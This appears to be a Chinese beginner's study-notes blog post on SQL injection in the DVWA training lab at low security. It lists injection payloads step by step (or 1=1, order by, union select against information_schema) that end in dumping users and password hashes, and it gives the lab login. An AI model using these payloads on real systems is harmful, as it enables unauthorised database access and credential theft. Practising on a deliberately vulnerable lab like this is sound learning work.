今天刚开始学DVWA,感觉有很多要记,放在自己的电脑上又怕不去看,放在这里看的时候还可以,给自己增加浏览量。
DVWA的LOW漏洞大概是,没有对用户,输入的数据进行过滤。
DVWA靶场链接:https://bachang.ikillyou.top/DVWA/login.php
1.登录DVWA 账号:admin 密码:password
2.登录完以后把DVWA设置成low级 点击Submit提交 。
3.点击SQL lnjection 然后拉到最下面 点击View Source查看源码。
4.按照所传递数据的类型,分类数字型和字符串型,我们可以看到 '$id'变量,是字符串说明,这个可能是一个字符型注入 字符型注入我们需要注意闭合 5.开始测试 点击SQL lnjection 输入1 返回一个参数6.输入3在进行测试 还是返回一个参数
7.在重新判断,是否真的是字符型的,输入1+2 它没有进行运算,我们现在可以确定,是字符型。8.我们开始SQL测试,输入 'or 1 = 1 or' 假or真or假 可以看到用户都爆出来了。
9.再来判断字段的长度 1' order by 1# 显示正常 我们在测试1' order by 2# 也显示正常我们在测试一下 1' order by 3# 3报错了,说明只有两个字段!
10.只有两个字段,我们可以来构造联合查询了,目的是为了查看回显的字段 。
输:1' union select 1,2# 我们看到了结果显示都可以回显。
11.查看到都可以回显,我们就开始找当前,用户数据库的名字,
输:1' union select user(),database()# 结果已经显示出来了 可以看到,用户:root@localhost
数据库:dvwa
12.我们现在就可以,从dvwa看看他都有哪些表。
输:1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #看到dvwa这个数据库里有guestbook和users两个表,存放账号和密码的放在users表。
13.查看user表里的列里面的数据。
输:1' union select 1,column_name from information_schema.columns wheretable_name='user'#
users的列已经爆出来了,接下来我们就是开始看password列里面的数据了。
14.输:1' union select user,password from users#
可以看到密码已经爆出来了。
总结:刚刚开始老是吧 from 写成 form 然后一直报错。。。 需要注意语法格式!